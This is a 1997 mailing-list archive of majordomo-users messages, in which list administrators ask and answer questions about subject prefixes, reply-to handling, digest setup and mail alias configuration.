Coventry, UK. Acknowledge-To: dbae@maths.warwick.ac.uk X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have had to unzubscribe from this list because of pressure of other work. Please send any answers to me by email. I am beginning to have quite a large number of files in the directory accessed by the gget ccommand. Is it possible to organize these files into a Unix directory hierarchy which zubscribers can easily access using mj? What permissions are needed on the files and directories? Or do I need to use the ftp facility? Thanks David Epstein From owner-majordomo-users-outgoing Sun Jun 8 00:55:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA04314 for majordomo-users-outgoing; Sun, 8 Jun 1997 00:43:50 -0700 (PDT) Received: from hendrix.imm.dtu.dk (hendrix.imm.dtu.dk [192.38.71.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id AAA04291 for ; Sun, 8 Jun 1997 00:43:43 -0700 (PDT) Received: from hendrix.imm.dtu.dk by hendrix.imm.dtu.dk via SMTP (950413.SGI.8.6.12/940406.SGI) for id KAA16241; Sun, 8 Jun 1997 10:36:59 +0200 Date: Sun, 8 Jun 1997 10:36:59 +0200 (METDST) From: Peter Aundal Toft Reply-To: Peter Aundal Toft To: Majordomo-Users@GreatCircle.com Subject: [XXXX] Append to subject Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk How can I append a text [XXXX] to the subject field on a majordomo system for easy identification of the actual list ? And replies should not add [XXXX] always, hence an answer could end up being: [XXXX] Re:[XXXX] Re: [XXXX] A very important something.... Cheers 8-) BTW: Is there a WWW server of earlier emails around ?? From owner-majordomo-users-outgoing Sun Jun 8 05:55:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA20553 for majordomo-users-outgoing; Sun, 8 Jun 1997 05:51:08 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA20546 for ; Sun, 8 Jun 1997 05:50:55 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wahRM-0000kF-00; Sun, 8 Jun 1997 13:51:24 +0100 Date: Sun, 8 Jun 1997 13:51:24 +0100 (BST) From: Manar Hussain To: majordomo-users@GreatCircle.COM Subject: reply-to's Message-ID: Organisation: Internet Vision MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk You'll be glad to hear this isn't (I hope) a start to re-run the shall I set reply-to's etc. discussion .. What I'm interested in is a possible way of overcoming one of the disadvantages or not setting the reply-tos - namely that in a large number of email clients it is then easy to reply to just the author or the author + the list. Has anyone considered a patch whereby if an address was on the to or cc AND in the subscriber list file it was deleted from the recipient list as made up by majordomo. I'm not sure how you'd go about doing this yet - but it could presumably be done in much the same way that you would also not send the message from the list to the author which is an option that listserv provides and thus presumably some people want. We'd have an additional interest in this as we have a fully functioning web version of all our lists which means that people can wind up posting things (via the web) that they then wouldn't necessarily see replies to (they'd have to come back to the web site) unless their email address was explicitly included on the reply (mails sent via the web are sent as from their address). It would be nice to encourage people on our site to feel free to include the author(s) in the reply ... Manar From owner-majordomo-users-outgoing Sun Jun 8 06:25:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA21537 for majordomo-users-outgoing; Sun, 8 Jun 1997 06:20:02 -0700 (PDT) Received: from mail3.voicenet.com (mail3.voicenet.com [207.103.0.45]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA21527 for ; Sun, 8 Jun 1997 06:19:56 -0700 (PDT) Received: from [207.103.16.233] (philly154.voicenet.com [207.103.16.233]) by mail3.voicenet.com (8.8.5/8.6.12) with ESMTP id JAA05402 for ; Sun, 8 Jun 1997 09:25:18 -0400 (EDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: TreeO Enterprises Inc. X-url: http://www.TreeO.com Date: Sun, 8 Jun 1997 09:20:21 -0400 To: majordomo-users@greatcircle.com (Majordomo user's mailing list) From: "David E. Le Vine" Subject: Who info for just moderator? Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Is there a way to OK a who request when who function is set to closed? Or do I have to reconfig it back on, get my list, then reconfig it closed again? TIA David -- David E. Le Vine david@TreeO.com TreeO Enterprises Inc. Philadelphia, PA USA Moderator out-opts list ========================================================================== [out-opts] IMAGE OUTPUT OPTIONS MAILING LIST To subscribe: Send the message body of "subscribe out-opts" to out-opts@TreeO.com Out-Opts Web Site: http://www.TreeO.com/out-opts/ ========================================================================== "How did you get the squirrel to hold the camera?" http://www.TreeO.com From owner-majordomo-users-outgoing Sun Jun 8 06:55:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA22357 for majordomo-users-outgoing; Sun, 8 Jun 1997 06:40:42 -0700 (PDT) Received: from shore.shore.net (shore.shore.net [192.233.85.136]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA22350 for ; Sun, 8 Jun 1997 06:40:36 -0700 (PDT) Received: from jane.smoe.org (jeffw@smoe.org [204.167.97.154]) by shore.shore.net (8.8.3/8.8.2) with SMTP id JAA09760; Sun, 8 Jun 1997 09:41:07 -0400 (EDT) Received: by jane.smoe.org (SMI-8.6/SMI-SVR4) id JAA09486; Sun, 8 Jun 1997 09:42:03 -0400 Message-ID: <19970608094202.OP37628@smoe.org> Date: Sun, 8 Jun 1997 09:42:02 -0400 From: jeffw@smoe.org (Jeff Wasilko) To: pto@imm.dtu.dk (Peter Aundal Toft) Cc: Majordomo-Users@GreatCircle.com Subject: Re: [XXXX] Append to subject References: X-Mailer: Mutt 0.59.1 Mime-Version: 1.0 In-Reply-To: ; from "Peter Aundal Toft" on Jun 8, 1997 10:36:59 +0200 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Peter Aundal Toft writes: > How can I append a text [XXXX] to the subject field on a majordomo system > for easy identification of the actual list ? Please read your list configuration file and look for: # subject_prefix [word] (undef) # This word will be prefixed to the subject line, if it is not # already in the subject. The text is expanded before being used. # The following expansion tokens are defined: $LIST - the name of # the current list, $SENDER - the sender as taken from the from # line, $VERSION, the version of majordomo. subject_prefix = From owner-majordomo-users-outgoing Sun Jun 8 07:55:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA26836 for majordomo-users-outgoing; Sun, 8 Jun 1997 07:45:04 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA26821 for ; Sun, 8 Jun 1997 07:44:56 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA06589 for ; Sun, 8 Jun 1997 10:45:31 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA19210; Sun, 8 Jun 1997 10:45:32 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: reply-to's References: X-No-Archive: yes Date: 08 Jun 1997 10:45:31 -0400 In-Reply-To: Manar Hussain's message of Sun, 8 Jun 1997 13:51:24 +0100 (BST) Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "MH" == Manar Hussain writes: MH> What I'm interested in is a possible way of overcoming one of the MH> disadvantages or not setting the reply-tos - namely that in a large MH> number of email clients it is then easy to reply to just the author or MH> the author + the list. Replace the MUAs (email clients) with ones that are not so stupid. Unfortunately (or fortunately, depending on your perspective :) that is really the only sane thing that can be done. Controlling where a reply goes is solely the responsibility of the MUA and the originator of the reply. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5rFfZ6VRH7BJMxHAQFoYQQAq4gYivOdWViQejQH5wA1FfJXPn0bj639 ltmTtT82sHyDs/yXfHPPFIcIujL8IJo+PzAuBqUA+u/SO3J6ME2uY4hqExl8pZsG xxQlZhyupJ4LIv3cclB9f2qfMobFNIPS2/KOZgLQDRBDc3Ct6rOIYyzNdCAReqRy FlAqeasJsTc= =cVGF -----END PGP SIGNATURE----- -- Rich Pieri | Do not taunt Happy Fun Ball. Prescient Technologies, Inc. | A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Sun Jun 8 08:10:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA27438 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:05:37 -0700 (PDT) Received: from red.hex.net (red.hex.net [204.155.154.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA27423 for ; Sun, 8 Jun 1997 08:05:28 -0700 (PDT) Received: (from sdenny@localhost) by red.hex.net (8.8.5/8.8.5) id KAA08403 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 10:06:28 -0500 Message-Id: <199706081506.KAA08403@red.hex.net> From: sdenny@hex.net (Stephen Denny) Date: Sun, 8 Jun 1997 10:06:27 -0500 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: majordomo-users@greatcircle.com Subject: Digests, I need some help Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I've tried, but I just don't understand what I'm doing with digests. Would some kind soul that really knows how to set these up please email me mailto:sdenny@hex.net? I have a list that I've been promising a digest for a month, and I'm not any closer now than a month ago. Regards, Stephen -- Stephen Denny mailto:sdenny@hex.net Hex.Net Superhighway http://www.hex.net From owner-majordomo-users-outgoing Sun Jun 8 08:25:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28154 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:22:36 -0700 (PDT) Received: from mail.jentronix.com ([206.190.137.44]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28145 for ; Sun, 8 Jun 1997 08:22:31 -0700 (PDT) Received: from grumblesmurf ([206.190.137.8]) by mail.jentronix.com (Netscape Mail Server v2.02) with SMTP id AAA138; Sun, 8 Jun 1997 08:22:33 -0700 Message-Id: <3.0.2.32.19970608082047.007db780@mail.jentronix.com> X-Sender: tedder@mail.jentronix.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sun, 08 Jun 1997 08:20:47 -0700 To: jeffw@smoe.org (Jeff Wasilko), pto@imm.dtu.dk (Peter Aundal Toft) From: Ted Timmons Subject: Re: [XXXX] Append to subject Cc: Majordomo-Users@GreatCircle.com In-Reply-To: <19970608094202.OP37628@smoe.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Yep, but what can you do when they don't give a subject line? My experience is that Majordomo won't 'create' a subject header. Has anyone created a hack around this? At 09:42 AM 6/8/97 -0400, Jeff Wasilko wrote: >Peter Aundal Toft writes: >> How can I append a text [XXXX] to the subject field on a majordomo system >> for easy identification of the actual list ? > >Please read your list configuration file and look for: > > # subject_prefix [word] (undef) > # This word will be prefixed to the subject line, if it is not > # already in the subject. The text is expanded before being used. > # The following expansion tokens are defined: $LIST - the name of > # the current list, $SENDER - the sender as taken from the from > # line, $VERSION, the version of majordomo. >subject_prefix = > > -- -=TED=- O- JAPH tedder@abcompsvc.com PGP available ICQ: 547800 ABComputer Services, http://www.abcompsvc.com Proud father of a 53 Chev PU at http://www.chevytrucks.org From owner-majordomo-users-outgoing Sun Jun 8 08:40:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28770 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:34:38 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA28763 for ; Sun, 8 Jun 1997 08:34:33 -0700 (PDT) Received: from gates.idyllmtn.com (ip215.pom.primenet.com [204.212.52.215]) by ayla.idyllmtn.com (8.6.12/8.6.9) with SMTP id IAA02073; Sun, 8 Jun 1997 08:30:26 -0700 Message-Id: <3.0.32.19970608075958.0076f878@mail.idyllmtn.com> X-Sender: kynn@mail.idyllmtn.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 08 Jun 1997 08:31:23 -0700 To: "David E. Le Vine" From: Kynn Bartlett Subject: Re: Wh0 inf0 for just moderator? Cc: majordomo-users@GreatCircle.COM (Majordomo user's mailing list) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 09:20 AM 6/8/97 -0400, David E. Le Vine wrote: >Is there a way to OK a wh0 request when wh0 function is set to closed? appr0ve passwd wh0 listname -- /\ /\ /\ /\ Kynn Bartlett / kynn@idyllmtn.com / \ / \/ \ / \ Idyll Mountain Internet / \ //\ /\ \ / \ '_| _` // \/ \__\ '_| _` Vice President, HTML Writers Guild From owner-majordomo-users-outgoing Sun Jun 8 08:46:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28727 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:33:10 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28720 for ; Sun, 8 Jun 1997 08:33:06 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA25424; Sun, 8 Jun 1997 10:33:25 -0500 (CDT) To: David Epstein Cc: majordomo-users@GreatCircle.COM Subject: Re: directory hierarchy for get command References: <28203.199706080614@lupin.csv.warwick.ac.uk> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 10:33:25 -0500 In-Reply-To: David Epstein's message of Sun, 8 Jun 1997 07:14:17 +0100 (BST) Message-ID: Lines: 18 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DE" == David Epstein writes: DE> Is it possible to organize these files into a Unix directory hierarchy DE> which zubscribers can easily access using mj? It looks like you can make subdirectories, though you'll have to mess with !ndex_command a bit so that an index will show the subdirectories. DE> What permissions are needed on the files and directories? Majordomo must be able to read them, and execute the directories. DE> Or do I need to use the ftp facility? You're probably much better off doing this. Majordomo's file access stuff wasn't intended to be used for wholesale file service. - J< From owner-majordomo-users-outgoing Sun Jun 8 08:52:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28417 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:28:41 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28396 for ; Sun, 8 Jun 1997 08:28:34 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA25378; Sun, 8 Jun 1997 10:29:14 -0500 (CDT) To: Peter Aundal Toft Cc: Majordomo-Users@GreatCircle.COM Subject: Re: [XXXX] Append to subject References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 10:29:14 -0500 In-Reply-To: Peter Aundal Toft's message of Sun, 8 Jun 1997 10:36:59 +0200 (METDST) Message-ID: Lines: 13 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "PAT" == Peter Aundal Toft writes: PAT> How can I append a text [XXXX] to the subject field on a majordomo PAT> system for easy identification of the actual list ? subject_prefix. There's lots of stuff in the config file; you should read it. PAT> BTW: Is there a WWW server of earlier emails around ?? . - J< From owner-majordomo-users-outgoing Sun Jun 8 08:55:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28984 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:43:26 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28977 for ; Sun, 8 Jun 1997 08:43:19 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id LAA07443 for ; Sun, 8 Jun 1997 11:43:53 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id LAA20824; Sun, 8 Jun 1997 11:43:54 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: [XXXX] Append to subject References: <3.0.2.32.19970608082047.007db780@mail.jentronix.com> X-No-Archive: yes Date: 08 Jun 1997 11:43:53 -0400 In-Reply-To: Ted Timmons's message of Sun, 08 Jun 1997 08:20:47 -0700 Message-ID: Lines: 29 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "TT" == Ted Timmons writes: TT> Yep, but what can you do when they don't give a subject line? My TT> experience is that Majordomo won't 'create' a subject header. Has TT> anyone created a hack around this? See the last rant on Reply-To. Subject is an originator header. Changing it is a thing Majordomo is forbidden to do. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5rTN56VRH7BJMxHAQEh+gP+PA6IRj+7x3cxFZX43T26k6qP8e6aykNc LdJSSiwhSIPnSTHu9hKosdIw4TRFIGGL0JrUp1pwYQ17o8q4fFgxi5DPAAGfPgqs tO5iAasAOXfj0KQKqeDHiyU4SuzB96vp5BAhu0Uvphl5qGh0goALaDUvSW+uQ898 EGBH4k0ie70= =QqVh -----END PGP SIGNATURE----- -- Rich Pieri | Caution: Happy Fun Ball may Prescient Technologies, Inc. | suddenly accelerate to dangerous A Stone & Webster Company | speeds. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Sun Jun 8 08:57:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28333 for majordomo-users-outgoing; Sun, 8 Jun 1997 08:27:22 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28310 for ; Sun, 8 Jun 1997 08:27:14 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA25361; Sun, 8 Jun 1997 10:27:52 -0500 (CDT) To: Manar Hussain Cc: majordomo-users@GreatCircle.COM Subject: Re: reply-to's References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 10:27:52 -0500 In-Reply-To: Manar Hussain's message of Sun, 8 Jun 1997 13:51:24 +0100 (BST) Message-ID: Lines: 21 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "MH" == Manar Hussain writes: MH> Has anyone considered a patch whereby if an address was on the to or cc MH> AND in the subscriber list file it was deleted from the recipient list MH> as made up by majordomo. I guess you missed my message wherein I said that that's something I'm doing for 2.0. It's not foolproof, and it's something a subscriber can set for themselves. MH> I'm not sure how you'd go about doing this yet Simply not possible in 1.9x. Majordomo never sees the recipient list when sending out mail. Sendmail handles it all. MH> We'd have an additional interest in this as we have a fully functioning MH> web version of all our lists [...] Free code? Demo URL? Willing to contribute? - J< From owner-majordomo-users-outgoing Sun Jun 8 09:25:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA01596 for majordomo-users-outgoing; Sun, 8 Jun 1997 09:10:49 -0700 (PDT) Received: from red.hex.net (red.hex.net [204.155.154.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA01589 for ; Sun, 8 Jun 1997 09:10:44 -0700 (PDT) Received: (from sdenny@localhost) by red.hex.net (8.8.5/8.8.5) id LAA09350 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 11:11:44 -0500 Message-Id: <199706081611.LAA09350@red.hex.net> From: sdenny@hex.net (Stephen Denny) Date: Sun, 8 Jun 1997 11:11:43 -0500 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: majordomo-users@greatcircle.com Subject: Re: digest Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >I know. The people on the majordomo-users list will most likely tell you > RTFM or "it's all there, you just follow the directions." I usually have >to ask three times. Thanks for the response. I recently joined the list out of desperation. I'm quite certain the directions are all there. Apparently I'm just too stupid to be able to understand them. A great enhancement to majordomo (for someone with too much time on their hands) would be a nice script that would guide you through a list setup, providing help along the way, create the config file, digests, directories, aliases and end up with a completed list. Also auto mailing the directions to the list owner. A script would solve problems with "those darn users" like me asking these dumb questions. A script may be a non-trivial task (or it may already be done and no one told me). Anyone considering this, please use tools that would be available on normal mail/list servers - a shell, perl obviously, not X, _maybe_ ncurses. Regards, Stephen -- Stephen Denny mailto:sdenny@hex.net Hex.Net Superhighway http://www.hex.net From owner-majordomo-users-outgoing Sun Jun 8 09:40:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA04593 for majordomo-users-outgoing; Sun, 8 Jun 1997 09:32:57 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA04586 for ; Sun, 8 Jun 1997 09:32:53 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id JAA02809; Sun, 8 Jun 1997 09:28:45 -0700 From: Kynn Bartlett Message-Id: <199706081628.JAA02809@ayla.idyllmtn.com> Subject: Re: digest To: sdenny@hex.net (Stephen Denny) Date: Sun, 8 Jun 1997 09:28:44 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: <199706081611.LAA09350@red.hex.net> from "Stephen Denny" at Jun 8, 97 11:11:43 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Someone wrote: > A great enhancement to majordomo (for someone with too much time > on their hands) would be a nice script that would guide you through > a list setup, providing help along the way, create the conf!g file, > digests, directories, aliases and end up with a completed list. Also > auto mailing the directions to the list owner. Sounds great! Once you figure out how to set up your own l!sts, I assume you're going to write this, right? --Kynn, looking forward to it From owner-majordomo-users-outgoing Sun Jun 8 12:25:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15400 for majordomo-users-outgoing; Sun, 8 Jun 1997 12:22:33 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id MAA15393 for ; Sun, 8 Jun 1997 12:22:05 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Sun, 8 Jun 1997 21:22:20 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Sun, 8 Jun 1997 21:22:20 +0200 (CEST) From: Daniel Schneider Reply-To: Daniel Schneider To: majordomo-users@greatcircle.com Subject: Problem with :include: in /etc/aliases Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I have just installed majordomo and I have a problem about which I could not find any info in the FAQ or the READMEs. I am running on a Linux 2.0.30. I am using Smail. In my /etc/aliases I put a line that included test::include:/usr/local/lib/majordomo/lists/test When I write to list test, I receive an answer that tells me that the user ":include:/usr/local/lib/majordomo/lists/test" is unknown. Can anyone help me? Is the :include: sendmail specific? Do I need to use something else in combination with smail? TIA Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Sun Jun 8 13:25:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA19981 for majordomo-users-outgoing; Sun, 8 Jun 1997 13:16:15 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA19966 for ; Sun, 8 Jun 1997 13:16:10 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA00493; Sun, 8 Jun 1997 15:16:54 -0500 (CDT) To: Ted Timmons Cc: Majordomo-Users@GreatCircle.COM Subject: Re: [XXXX] Append to subject References: <3.0.2.32.19970608082047.007db780@mail.jentronix.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 15:16:54 -0500 In-Reply-To: Ted Timmons's message of Sun, 08 Jun 1997 08:20:47 -0700 Message-ID: Lines: 15 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "TT" == Ted Timmons writes: TT> Yep, but what can you do when they don't give a subject line? My TT> experience is that Majordomo won't 'create' a subject header. Has TT> anyone created a hack around this? Yes. You know, those archives are really useful. But my "fix" isn't going into the distribution, because creating a subject out of nothing is of dubious legality. (This goes back to the whole concept of originator headers.) See for a patch to 1.94.1 which should work on 1.94.3 also. - J< From owner-majordomo-users-outgoing Sun Jun 8 14:10:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA21285 for majordomo-users-outgoing; Sun, 8 Jun 1997 13:57:36 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA21278 for ; Sun, 8 Jun 1997 13:57:29 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA01112; Sun, 8 Jun 1997 15:58:14 -0500 (CDT) To: sdenny@hex.net (Stephen Denny) Cc: majordomo-users@GreatCircle.COM Subject: Re: Digests, I need some help References: <199706081506.KAA08403@red.hex.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 15:58:13 -0500 In-Reply-To: sdenny@hex.net's message of Sun, 8 Jun 1997 10:06:27 -0500 Message-ID: Lines: 17 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "SD" == Stephen Denny writes: SD> I've tried, but I just don't understand what I'm doing with digests. I'll assume that you read the docs, so I'll just ask what it is you don't understand, what you've done, what works, what doesn't, and what parts of "quick-digest-setup" you find confusing. Plenty of people here would be happy to help you, but you have to help us first. You can't expect anyone to just rewrite all of the directions and send them to you, hoping that they are clear in a way that the existing directions aren't. SD> Would some kind soul that really knows how to set these up please email SD> me mailto:sdenny@hex.net? Might as well do it in public, so others can benefit. - J< From owner-majordomo-users-outgoing Sun Jun 8 14:40:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA22675 for majordomo-users-outgoing; Sun, 8 Jun 1997 14:27:29 -0700 (PDT) Received: from red.hex.net (red.hex.net [204.155.154.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA22659 for ; Sun, 8 Jun 1997 14:27:20 -0700 (PDT) Received: (from sdenny@localhost) by red.hex.net (8.8.5/8.8.5) id QAA14962 for majordomo-users@GreatCircle.COM; Sun, 8 Jun 1997 16:28:25 -0500 Message-Id: <199706082128.QAA14962@red.hex.net> From: sdenny@hex.net (Stephen Denny) Date: Sun, 8 Jun 1997 16:28:24 -0500 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: majordomo-users@GreatCircle.COM Subject: Digests, I need some help Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk --- Mail from Jason L Tibbitts III >>>>> "SD" == Stephen Denny writes: >SD> I've tried, but I just don't understand what I'm doing with digests. >I'll assume that you read the docs, so I'll just ask what it is you don't >understand, what you've done, what works, what doesn't, and what parts of >"quick-digest-setup" you find confusing. Plenty of people here would be >happy to help you, but you have to help us first. You can't expect anyone >to just rewrite all of the directions and send them to you, hoping that >they are clear in a way that the existing directions aren't. >SD> Would some kind soul that really knows how to set these up please email >SD> me mailto:sdenny@hex.net? >Might as well do it in public, so others can benefit. --- End of forwarded message from Jason L Tibbitts III OK. Here it is. I did read the docs. README.digest digest.aliases quick-digest-setup FAQ man digest Its a little confusing that there are the two ways to digest, standalone and list. I think that may be where I got off to a bad start. The good news is, someone sent me their working set of aliases. That did the trick for me. I installed it exactly like they had it - changing list name, and the digest is working very nicely. Looking at it now, I find that the quick-digest-setup should have been enough. I'm sure its served millions of satisfied customers, but for my first digest, I was in the weeds. Regards, Stephen -- Stephen Denny mailto:sdenny@hex.net Hex.Net Superhighway http://www.hex.net From owner-majordomo-users-outgoing Sun Jun 8 15:25:27 1997 Received: (majordom@localhost) by honor.greatcircle.com 